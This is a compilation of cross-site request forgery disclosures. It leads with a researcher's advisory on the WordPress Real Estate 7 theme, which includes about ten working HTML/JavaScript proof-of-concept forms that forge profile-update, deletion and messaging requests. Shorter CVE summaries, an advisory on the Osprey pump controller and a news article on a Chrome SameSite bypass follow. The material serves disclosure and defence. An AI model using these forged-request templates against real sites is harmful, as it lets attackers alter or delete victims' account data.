WordPress Real Estate 7 Theme versions 3.3.4 and below suffer from multiple cross site request forgery vulnerabilities.

==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2023 ] ==

Report Title:        WordPress Real Estate 7 Theme <= 3.3.4 - Multiple Cross-Site Request Forgery (CSRF) Vulnerabilities  
Google Dork:         inurl:/wp-content/themes/realestate-7/  
Research Date:       2023-02-10  
Researcher:          FearZzZz [ https://fearzzzz.ru ]  
Component Vendor:    Contempo Themes [ https://contempothemes.com ]  
Vulnerable Version:  <= 3.3.4  
Component Link:      https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778  
CVSS Base Score:     6.3 (Medium)  
CVSS Vector String:  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L  
OWASP Top 10:        A01: 2021 – Broken Access Control  
CWE:                 CWE-352  
CVE:                 TBA

=================================================================================================

#### [ Description: ]

The Real Estate 7 theme for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, v3.3.4, because of missing and incorrect nonce validation on several functions. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication.

#### [ Impact: ]

Impact of a CSRF vulnerability is related to the privileges of the target user. Depending on the nature of the action, an attacker might be able to change some data or gain full control over the user's account. If the compromised user has a privileged role (administrator, i.e.) within the application, then the attacker can gain full control over the application.

#### [ Proof-of-Concept | Lead Alert Creation: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST">  
      <input type="hidden" name="action" value="ct_email_cron_onoff" />  
      <input type="hidden" name="esetting" value="onsms" />  
      <input type="hidden" name="id" value="12" />  
      <input type="hidden" name="author_id" value="22" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Add Property to Favorites: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/our-properties/our-exclusive-listings/">  
      <input type="hidden" name="wpfpaction" value="add" />  
      <input type="hidden" name="postid" value="1005" />  
      <input type="hidden" name="ajax" value="1" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Remove Property from Favorites: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/favorite-listings/">  
      <input type="hidden" name="wpfpaction" value="remove" />  
      <input type="hidden" name="page" value="1" />  
      <input type="hidden" name="postid" value="451" />  
      <input type="hidden" name="ajax" value="1" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Contact / Information Request: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/wp-content/themes/realestate-7/includes/ajax-submit-favorites.php" method="POST">  
      <input type="hidden" name="ctsubject" value="Fear is Big Business" />  
      <input type="hidden" name="name" value="FearZzZz" />  
      <input type="hidden" name="email" value="fearzzzz@tutanota.com" />  
      <input type="hidden" name="ctphone" value="no" />  
      <input type="hidden" name="message" value="Fear is Big Business" />  
      <input type="hidden" name="ctyouremail" value="fearzzzz@tutanota.com" />  
      <input type="hidden" name="ctproperty" value="https://fearzzzz.ru" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/wp-content/themes/realestate-7/includes/ajax-submit-listings.php" method="POST">  
      <input type="hidden" name="listing_id" value="451" />  
      <input type="hidden" name="ctsubject" value="Fear is Big Business" />  
      <input type="hidden" name="name" value="FearZzZz" />  
      <input type="hidden" name="email" value="fearzzzz@tutanota.com" />  
      <input type="hidden" name="ctphone" value="" />  
      <input type="hidden" name="message" value="Fear is Big Business" />  
      <input type="hidden" name="ctyouremail" value="fearzzzz@tutanota.com" />  
      <input type="hidden" name="ctproperty" value="Z" />  
      <input type="hidden" name="ctlistingstreet" value="Z" />  
      <input type="hidden" name="ctlistingcity" value="Z" />  
      <input type="hidden" name="ctlistingstate" value="Z" />  
      <input type="hidden" name="ctlistingzip" value="Z" />  
      <input type="hidden" name="ctpermalink" value="https://fearzzzz.ru" />  
      <input type="hidden" name="ctlistingprice" value="Z" />  
      <input type="hidden" name="ctlistingsqft" value="Z" />  
      <input type="hidden" name="ctlistingbeds" value="" />  
      <input type="hidden" name="ctlistingbaths" value="" />  
      <input type="hidden" name="ctlistinglotsize" value="" />  
      <input type="hidden" name="ctlistingmlsnumber" value="" />  
      <input type="hidden" name="ctlistingpropertytype" value="Detached" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Lead Alert Deletion: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST">  
      <input type="hidden" name="action" value="ct_delete_search" />  
      <input type="hidden" name="property_id" value="12" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Profile Image Deletion: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST">  
      <input type="hidden" name="action" value="ct_ajax_delete_profile_img" />  
      <input type="hidden" name="id" value="1" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Broker Logo Deletion: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/wp-admin/admin-ajax.php" method="POST">  
      <input type="hidden" name="action" value="ct_ajax_delete_broker_logo" />  
      <input type="hidden" name="id" value="1" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Clear All Favorites: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/favorite-listings/">  
      <input type="hidden" name="wpfpaction" value="clear" />  
      <input type="hidden" name="ajax" value="1" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Buyer Profile Update: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="https://fearzzzz.ru/account-settings/" method="POST" enctype="multipart/form-data">  
      <input type="hidden" name="first_name" value="" />  
      <input type="hidden" name="last_name" value="" />  
      <input type="hidden" name="nickname" value="fearzzzz" />  
      <input type="hidden" name="display_name" value="FearZzZz" />  
      <input type="hidden" name="email" value="fearzzzz@tutanota.com" />  
      <input type="hidden" name="user_url" value="" />  
      <input type="hidden" name="description" value="" />  
      <input type="hidden" name="pass1" value="" />  
      <input type="hidden" name="pass2" value="" />  
      <input type="hidden" name="twitterhandle" value="" />  
      <input type="hidden" name="facebookurl" value="" />  
      <input type="hidden" name="instagramurl" value="" />  
      <input type="hidden" name="linkedinurl" value="" />  
      <input type="hidden" name="youtubeurl" value="" />  
      <input type="hidden" name="mobile" value="" />  
      <input type="hidden" name="user_additional_phone_1" value="" />  
      <input type="hidden" name="user_additional_phone_2" value="" />  
      <input type="hidden" name="user_mailing_address" value="" />  
      <input type="hidden" name="updateuser" value="Update Profile" />  
      <input type="hidden" name="_wpnonce" value="0451" />  
      <input type="hidden" name="_wp_http_referer" value="/account-settings/" />  
      <input type="hidden" name="action" value="update-user" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>  
```

#### [ Proof-of-Concept | Agent Profile Update: ]

```  
<html>  
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <script>  
      function submitRequest()  
      {  
        var xhr = new XMLHttpRequest();  
        xhr.open("POST", "https:\/\/fearzzzz.ru\/account-settings\/", true);  
        xhr.setRequestHeader("content-type", "multipart\/form-data; boundary=---------------------------333499251812319952534005853646");  
        xhr.withCredentials = true;  
        var body = "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"first_name\"\r\n" +   
          "\r\n" +   
          "Agent\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"last_name\"\r\n" +   
          "\r\n" +   
          "Demo\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"nickname\"\r\n" +   
          "\r\n" +   
          "agent\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"display_name\"\r\n" +   
          "\r\n" +   
          "Demo Agent\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"email\"\r\n" +   
          "\r\n" +   
          "agent@email.com\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"user_url\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"description\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"pass1\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"pass2\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"twitterhandle\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"facebookurl\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"instagramurl\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"linkedinurl\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"youtubeurl\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +   
          "\r\n" +   
          "1024000\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"ct_profile_img\"; filename=\"fearzzzz.jpg\"\r\n" +   
          "Content-Type: image/jpeg\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"mobile\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"user_additional_phone_1\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"user_additional_phone_2\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"user_mailing_address\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"fax\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"title\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"tagline\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"agentlicense\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +   
          "\r\n" +   
          "1024000\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"ct_broker_logo\"; filename=\"fearzzzz.jpg\"\r\n" +   
          "Content-Type: image/jpeg\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"brokeragename\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"brokeragelicense\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"office\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"address\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"city\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"state\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"postalcode\"\r\n" +   
          "\r\n" +   
          "\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"updateuser\"\r\n" +   
          "\r\n" +   
          "Update Profile\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +   
          "\r\n" +   
          "0451\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" +   
          "\r\n" +   
          "/account-settings/\r\n" +   
          "-----------------------------333499251812319952534005853646\r\n" +   
          "Content-Disposition: form-data; name=\"action\"\r\n" +   
          "\r\n" +   
          "update-user\r\n" +   
          "-----------------------------333499251812319952534005853646--\r\n";  
        var aBody = new Uint8Array(body.length);  
        for (var i = 0; i < aBody.length; i++)  
          aBody[i] = body.charCodeAt(i);   
        xhr.send(new Blob([aBody]));  
      }  
    </script>  
    <form action="#">  
      <input type="button" value="Submit request" onclick="submitRequest();" />  
    </form>  
  </body>  
</html>  
```

#### [ Timeline: ]

2023.02.08 - Real Estate 7 Theme v3.3.4 released.  
2023.02.10 - Vulnerability has been discovered.  
2023.02.15 - Vendor notified.  
2023.02.16 - Chris Robinson responded that the vulnerabilities have been fixed. The release of the new version v3.3.5 is scheduled for March 6.

#### [ Contacts: ]

Website:   fearzzzz.ru  
Email:     fearzzzz@tutanota.com  
Twitter:   https://twitter.com/fear_zzzz  
Medium:    https://fearzzzz.medium.com  
GitHub:    https://github.com/fearzzzz  
YouTube:   https://youtube.com/@fearzzzz

#### [ Notes: ]

Special thanks to Chris Robinson (Contempo Themes Founder & CEO) for the quick response and for the respectful communication.

#### [ Disclaimer: ]

The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages.

========================================================================== [ www.fearzzzz.ru ] ==

WordPress Real Estate 7 Theme 3.3.4 Cross Site Request Forgery

Cross-Site Request Forgery (CSRF) vulnerability in Uwe Jacobs OWM Weather plugin <= 5.6.11 leads to post duplication as a draft.

**Solution**

Update the WordPress OWM Weather plugin to the latest available version (at least 5.6.12).

Cat discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress OWM Weather Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 5.6.12.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-47179: WordPress OWM Weather plugin <= 5.6.11 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Roland Barker, xnau webdesign Participants Database plugin <= 2.4.5 leads to list column update.

**Solution**

Update the WordPress Participants Database plugin to the latest available version (at least 2.4.6).

rezaduty discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Participants Database Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 2.4.6.

**5 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-47612: WordPress Participants Database plugin <= 2.4.5 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Checkout Plugins Stripe Payments For WooCommerce plugin <= 1.4.10 leads to settings change.

**Solution**

Update the WordPress Stripe Payments For WooCommerce by Checkout plugin to the latest available version (at least 1.4.11).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Stripe Payments For WooCommerce by Checkout Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.4.11.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23865: WordPress Stripe Payments For WooCommerce by Checkout Plugins plugin <= 1.4.10 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in wpdevart Responsive Vertical Icon Menu plugin <= 1.5.8 can lead to theme deletion.

**Solution**

Update the WordPress Responsive Vertical Icon Menu plugin to the latest available version (at least 1.5.9).

yuyudhn discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Responsive Vertical Icon Menu Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.5.9.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23983: WordPress Responsive Vertical Icon Menu plugin <= 1.5.8 - Cross Site Request Forgery (CSRF) Leading To Settings Change Vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in AutomatorWP plugin <= 2.5.0 leads to object delete.

**Solution**

Update the WordPress AutomatorWP plugin to the latest available version (at least 2.5.1).

Rafshanzani Suhada discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress AutomatorWP Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 2.5.1.

**2 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-23992: WordPress AutomatorWP – The most flexible and powerful no-code automation plugin for WordPress plugin <= 2.5.0 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Strategy11 Form Builder Team Formidable Forms plugin <= 5.5.6 versions.

**Solution**

Update the WordPress Formidable Forms plugin to the latest available version (at least 5.5.7).

Rafshanzani Suhada discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Formidable Forms Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 5.5.7.

**12 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24419: WordPress Formidable Forms plugin <= 5.5.6 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Forms by CaptainForm – Form Builder for WordPress plugin <= 2.5.3 versions.

**Solution**

No patched version is available. No reply from the vendor.

Rasi discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Forms by CaptainForm Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-43459: WordPress Forms by CaptainForm <= 2.5.3 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Title: Osprey Pump Controller 1.0.1 Cross-Site Request Forgery  
Advisory ID: ZSL-2023-5753  
Type: Local/Remote  
Impact: Cross-Site Scripting  
Risk: (4/5)  
Release Date: 27.02.2023

**Summary**

Providing pumping systems and automated controls for golf courses and turf irrigation, municipal water and sewer, biogas, agricultural, and industrial markets. Osprey: door-mounted, irrigation and landscape pump controller.

Technology hasn't changed dramatically on pump and electric motors in the last 30 years. Pump station controls are a different story. More than ever before, customers expect the smooth and efficient operation of VFD control. Communications—monitoring, remote control, and interfacing with irrigation computer programs—have become common requirements. Fast and reliable accessibility through cell phones has been a game changer.

ProPump & Controls can handle any of your retrofit needs, from upgrading an older relay logic system to a powerful modern PLC controller, to converting your fixed speed or first generation VFD control system to the latest control platform with communications capabilities.

We use a variety of solutions, from MCI-Flowtronex and Watertronics package panels to sophisticated SCADA systems capable of controlling and monitoring networks of hundreds of pump stations, valves, tanks, deep wells, or remote flow meters.

User friendly system navigation allows quick and easy access to all critical pump station information with no password protection unless requested by the customer. Easy to understand control terminology allows any qualified pump technician the ability to make basic changes without support. Similar control and navigation platform compared to one of the most recognized golf pump station control systems for the last twenty years make it familiar to established golf service groups nationwide. Reliable push button navigation and LCD information screen allows the use of all existing control panel door switches to eliminate the common problems associated with touchscreens.

Global system configuration possibilities allow it to be adapted to virtually any PLC or relay logic controlled pump stations being used in the industrial, municipal, agricultural and golf markets that operate variable or fixed speed. On board Wi-Fi and available cellular modem option allows complete remote access.

**Description**

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

**Vendor**

ProPump and Controls, Inc. - https://www.propumpservice.com | https://www.pumpstationparts.com

**Affected Version**

Software Build ID 20211018, Production 10/18/2021  
Mirage App: MirageAppManager, Release \[1.0.1\]  
Mirage Model 1, RetroBoard II

**Tested On**

Apache/2.4.25 (Raspbian)  
Raspbian GNU/Linux 9 (stretch)  
GNU/Linux 4.14.79-v7+ (armv7l)  
Python 2.7.13 \[GCC 6.3.0 20170516\]  
GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git  
PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)

**Vendor Status**

\[05.01.2023\] Vulnerabilities discovered.  
\[07.01.2023\] Vendor contacted.  
\[09.01.2023\] No response from the vendor.  
\[10.01.2023\] Vendor contacted.  
\[10.01.2023\] CISA contacted through CVD.  
\[10.01.2023\] Submitted to VINCE.  
\[12.01.2023\] CISA/VINCE asked for more details.  
\[13.01.2023\] Provided PoCs to CISA.  
\[13.01.2023\] Provided PoCs to VINCE and discovered XSS in VINCE.  
\[26.01.2023\] No response from VINCE.  
\[26.01.2023\] CISA closes incident: INC000010422052. NCISS Score: Baseline - Negligible (White). A Baseline–Negligible priority incident is an incident that is highly unlikely to affect public health or safety, national security, economic security, foreign relations, civil liberties, or public confidence. No further actions required by CISA.  
\[26.02.2023\] No response from the vendor.  
\[27.02.2023\] Public security advisory released.

**PoC**

osprey\_csrf.html

**Credits**

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk\>

**References**

\[1\] https://www.cisa.gov/news-events/news/cisa-national-cyber-incident-scoring-system-nciss

**Changelog**

\[27.02.2023\] - Initial release

**Contact**

Zero Science Lab

Web: https://www.zeroscience.mk  
e-mail: lab@zeroscience.mk

Osprey Pump Controller 1.0.1 Cross-Site Request Forgery

Protections against cross-site request forgery could be bypassed

Ben Dickson 27 February 2023 at 11:50 UTC

Protections against cross-site request forgery could be bypassed

  

A recently patched bug in the Chromium project could allow malicious actors to bypass a security feature that protects sensitive cookies on Android browsers.

The SameSite setting enables developers to restrict access to cookies. For example, by setting , this can prevent a cookie from showing up in HTTP responses if the user navigates to the website through a link or a redirect request from another website.

**SameSite bypass with intent requests**

Security researcher Axel Chong, however, discovered that he could bypass SameSite protection if he used the intent scheme to navigate to the target website. Intents are external protocol handlers that allow Android apps to open other apps, such as jumping from the browser to the Maps application or from an SMS to the browser.

“I came across this bug when I read this interesting bug on intents,” Chong told The Daily Swig. “As intent URLs could point to the same app (Chrome in this case) and create a fresh browsing context, I had then wondered what kind of security measures that intent URLs could possibly bypass.”

Intent URLs should be considered external sources and be subject to SameSite restrictions. But a proof-of-concept Chong created in Python shows that cookies with settings carry over when the web server initiates a redirection with an intent URL.

Want the latest web security news straight to your inbox? Sign up to our newsletter here

The same scheme also bypasses the header, which determines where the request originated from and enables websites to control access to their resources from external origins.

“Both are usually used to protect against CSRF (cross-site request forgery), so the impact would be bypassing these protections,” Chong said.

**Normal redirects also affected**

Further investigation showed that SameSite cookies are also carried over through simple redirect requests without the intent protocol.

While this was fixed in an earlier version of Chrome, it was later disabled because it caused breaking changes.

The experimental cookie feature flag (chrome://flags/#enable-experimental-cookie-features) would restore the secure behavior and prevent SameSite cookies from being sent across normal redirect requests.

This flag did not affect the insecure behavior of intent redirects. Chong also said that the flag did not affect the behavior and needed to be fixed separately.

**No easy fix**

Fixing the bug was not trivial because the developers had to account for how to determine trusted applications, including browsers.

It was finally decided not to trust intents because “(a) other apps on the device may not be trustworthy, and (b) websites can use Intent URLs/redirects to reflect back to Chrome and potentially use it to bypass SameSite restrictions.”

The lesson here is that given the complicated ways apps and browsers can communicate, developers should use multiple layers of security for their applications.

“These sort of browser security mechanisms (i.e., SameSite cookies, Fetch metadata) are meant to be defense-in-depth only. You should use them but do not rely on them as the only form of defense,” Chong advised.

DON’T MISS Deserialized web security roundup: Twitter 2FA backlash, GoDaddy suffers years-long attack campaign, and XSS Hunter adds e2e encryption

Tag

#csrf